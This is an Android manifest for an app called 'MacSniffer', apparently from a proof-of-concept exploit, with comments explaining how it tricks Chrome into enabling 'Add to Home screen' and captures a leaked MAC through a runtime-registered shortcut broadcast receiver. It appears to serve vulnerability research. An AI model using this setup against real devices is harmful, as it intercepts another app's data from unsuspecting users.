<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example.macsniffer">

    <!-- Foreground service permission so the runtime receiver stays alive -->
    <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
    <uses-permission android:name="android.permission.FOREGROUND_SERVICE_SPECIAL_USE" />
    <uses-permission android:name="android.permission.POST_NOTIFICATIONS" />

    <application
        android:label="MacSniffer"
        android:allowBackup="false">

        <activity
            android:name=".MainActivity"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>

        <!--
          PURPOSE #1 OF THE EXPLOIT:
          Chrome calls PackageManager.queryBroadcastReceivers(INSTALL_SHORTCUT) in
          WebappsUtils.isAddToHomeIntentSupported() (lines 159-166) to decide whether
          to show the "Add to Home screen" menu item. Chrome holds QUERY_ALL_PACKAGES
          so it will see this receiver. On API 26+ Android will NOT actually deliver
          the implicit broadcast to this manifest receiver - that's fine, we only need
          it to exist so the menu entry is enabled. The actual capture happens in the
          runtime-registered receiver inside SnifferService.
        -->
        <receiver
            android:name=".ManifestStubReceiver"
            android:exported="true">
            <intent-filter>
                <action android:name="com.android.launcher.action.INSTALL_SHORTCUT" />
            </intent-filter>
        </receiver>

        <!--
          Foreground service that hosts the *runtime*-registered receiver.
          On API 26+, implicit broadcasts ARE delivered to runtime receivers,
          so this is where we actually capture Chrome's leaked MAC.
        -->
        <service
            android:name=".SnifferService"
            android:exported="false"
            android:foregroundServiceType="specialUse">
            <property
                android:name="android.app.PROPERTY_SPECIAL_USE_FGS_SUBTYPE"
                android:value="security-research" />
        </service>

    </application>
</manifest>
